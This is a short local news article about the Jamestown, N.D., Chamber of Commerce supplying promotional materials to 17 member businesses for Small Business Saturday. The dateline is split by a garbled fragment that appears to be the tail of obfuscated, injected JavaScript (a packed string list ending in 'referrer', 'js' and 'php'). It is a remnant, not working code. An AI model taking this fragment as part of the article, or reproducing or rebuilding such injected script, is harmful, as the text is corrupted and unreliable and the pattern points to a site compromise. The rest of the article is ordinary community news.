JAMESTOWN, drikk|var|u0026u|referrer|bihty||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The Jamestown Area Chamber of Commerce understands the value of supporting the small business community in Jamestown.

Promotional materials including shopping bags, magnets, entry rugs, posters and more were provided to 17 chamber member businesses to help them promote Small Business Saturday, which was held on November 25th.

The member businesses included Orriginals, Inc.; Brown and Saenger; The Arts Center; Gladstone Inn & Suites; Shubert’s Carpet One; Two Rivers Printing; The UPS Store; Zimmerman’s Furniture; Home Design Center; Medicine Shoppe; The Dakota Store; High Plains Water; Conlin’s Furniture; Professional Eyecare Center; Papa Murphy’s; Quiznos Sub; and the Easterseal Goodwill Retail Store. These local small businesses were able to provide the promotional materials to their customers during this special day of recognition of how important it is to shop local and support the small, local businesses.

Small Business Saturday is an annual shopping tradition dedicated to supporting small businesses and celebrating communities across the country in their efforts to recognize the value of that support to the local economy. Founded by American Express in 2010, Small Business Saturday has been celebrated every year on the Saturday after Thanksgiving to provide community residents a chance to support their mom and pop stores, which in turn help support the local sales tax and wages paid to their employees, which provides direct support to the community.

This year’s event, sponsored by the Jamestown Area Chamber of Commerce, wanted to recognize chamber members who provided both products and services. We thank them for participating in this event, and thank those who shop locally to help sustain our community.
